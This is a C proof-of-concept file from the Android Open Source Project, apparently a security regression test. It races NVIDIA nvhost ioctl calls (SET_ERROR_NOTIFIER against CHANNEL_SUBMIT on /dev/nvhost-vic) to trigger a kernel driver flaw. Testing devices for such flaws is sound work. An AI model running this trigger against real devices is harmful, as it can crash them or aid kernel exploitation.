1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <string.h>
18 #include <stdio.h>
19 #include <stdlib.h>
20 #include <pthread.h>
21 #include <sys/ioctl.h>
22 #include <sys/mman.h>
23 #include <errno.h>
24 #include <sys/stat.h>
25 #include <fcntl.h>
26 #include <sched.h>
27 #include <sys/types.h>
28 #include <signal.h>
29 #include <unistd.h>
30 // for syscall
31 #include <sys/syscall.h>
32 // for futex
33 #include <linux/futex.h>
34 #include <sys/time.h>
35
36 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
37 #define ERR(fmt, ...) printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
38 #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
39
40 #define NVMAP_IOC_MAGIC 'N'
41 struct nvmap_create_handle {
42 union {
43 __u32 id; /* FromId */
44 __u32 size; /* CreateHandle */
45 __s32 fd; /* DmaBufFd or FromFd */
46 };
47 __u32 handle; /* returns nvmap handle */
48 };
49 #define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
50
51 #define NVHOST_IOCTL_MAGIC 'H'
52 struct nvhost_set_error_notifier {
53 __u64 offset;
54 __u64 size;
55 __u32 mem;
56 __u32 padding;
57 };
58 #define NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER \
59 _IOWR(NVHOST_IOCTL_MAGIC, 111, struct nvhost_set_error_notifier)
60
61 struct nvmap_alloc_handle {
62 __u32 handle; /* nvmap handle */
63 __u32 heap_mask; /* heaps to allocate from */
64 __u32 flags; /* wb/wc/uc/iwb etc. */
65 __u32 align; /* min alignment necessary */
66 };
67 #define NVMAP_IOC_ALLOC _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
68
set_affinity(int num)69 static int set_affinity(int num)
70 {
71 int ret = 0;
72 cpu_set_t mask;
73 CPU_ZERO(&mask);
74 CPU_SET(num, &mask);
75 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
76 if(ret == -1){
77 printf("[-] set affinity failed: [%d]-%d\n", errno, errno);
78 }
79 return ret;
80 }
81
82 struct nvhost_submit_args {
83 __u32 submit_version;
84 __u32 num_syncpt_incrs;
85 __u32 num_cmdbufs;
86 __u32 num_relocs;
87 __u32 num_waitchks;
88 __u32 timeout;
89 __u32 flags;
90 __u32 fence; /* Return value */
91 __u64 syncpt_incrs;
92 __u64 cmdbuf_exts;
93
94 __u64 pad[3]; /* future expansion */
95
96 __u64 cmdbufs;
97 __u64 relocs;
98 __u64 reloc_shifts;
99 __u64 waitchks;
100 __u64 waitbases;
101 __u64 class_ids;
102 __u64 fences;
103 };
104 #define NVHOST_IOCTL_CHANNEL_SUBMIT \
105 _IOWR(NVHOST_IOCTL_MAGIC, 26, struct nvhost_submit_args)
106
107 struct nvhost_syncpt_incr {
108 __u32 syncpt_id;
109 __u32 syncpt_incrs;
110 };
111
112 #define CLOSE_THREAD_NUM 1
113 #define TRY_TIMES 2
114 #define NVMAPDEV "/dev/nvmap"
115 #define VICDEV "/dev/nvhost-vic"
116 #define SYNC_NUM 1
117 struct nvhost_set_error_notifier err1 = { 0 }, err2 = { 0 };
118 pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
119 int nvmap, vic;
120 volatile int attack;
close_thread(void * no_use)121 void* close_thread(void* no_use)
122 {
123 int ret;
124 set_affinity(1);
125
126 while(attack){
127 ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SET_ERROR_NOTIFIER, &err1);
128 }
129
130 return NULL;
131 }
132
main()133 int main()
134 {
135 int i, j, ret;
136 int dma1, dma2;
137 struct nvmap_create_handle args = {
138 .size = PAGE_SIZE
139 };
140 struct nvmap_alloc_handle alloc = {
141 .heap_mask = 0xFFFFFFFF
142 };
143
144 struct nvhost_syncpt_incr incr[SYNC_NUM];
145
146 struct nvhost_submit_args submit = {
147 .num_syncpt_incrs = SYNC_NUM,
148 .syncpt_incrs = (intptr_t)incr,
149 .timeout = 1,
150 //.class_ids = (intptr_t)&ret
151 };
152
153 memset(incr, 0, sizeof(incr));
154 incr[0].syncpt_id = 6;
155
156 /* bind_cpu */
157 set_affinity(0);
158
159 nvmap = open(NVMAPDEV, O_RDONLY);
160 if(nvmap == -1)
161 ERR("[-] open %s failed", NVMAPDEV);
162 else
163 LOG("[+] open %s OK", NVMAPDEV);
164
165 vic = open(VICDEV, O_RDONLY);
166 if(vic == -1)
167 ERR("[-] open %s failed", VICDEV);
168 else
169 LOG("[+] open %s OK", VICDEV);
170
171 // prepare
172 ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
173 if(ret)
174 ERR("[-] ioctl NVMAP_IOC_CREATE failed");
175 else
176 LOG("[+] NVMAP_IOC_CREATE succeeded, fd = %d", args.handle);
177
178 dma1 = args.handle;
179 err1.mem = dma1;
180 alloc.handle = dma1;
181
182 ret = ioctl(nvmap, NVMAP_IOC_ALLOC, &alloc);
183 if(ret)
184 ERR("[-] ioctl NVMAP_IOC_ALLOC failed");
185 else
186 LOG("[+] NVMAP_IOC_ALLOC succeeded");
187
188 /* create close thread */
189 attack = 1;
190 for(i = 0; i < CLOSE_THREAD_NUM; i++){
191 ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
192 }
193 LOG("[+] running...");
194 while(1) {
195 ret = ioctl(vic, NVHOST_IOCTL_CHANNEL_SUBMIT, &submit);
196 }
197
198 LOG("[-] passed :(");
199 attack = 0;
200 for(i = 0; i < CLOSE_THREAD_NUM; i++) {
201 pthread_join(close_thread_id[i], NULL);
202 }
203
204 return 0;
205 }
206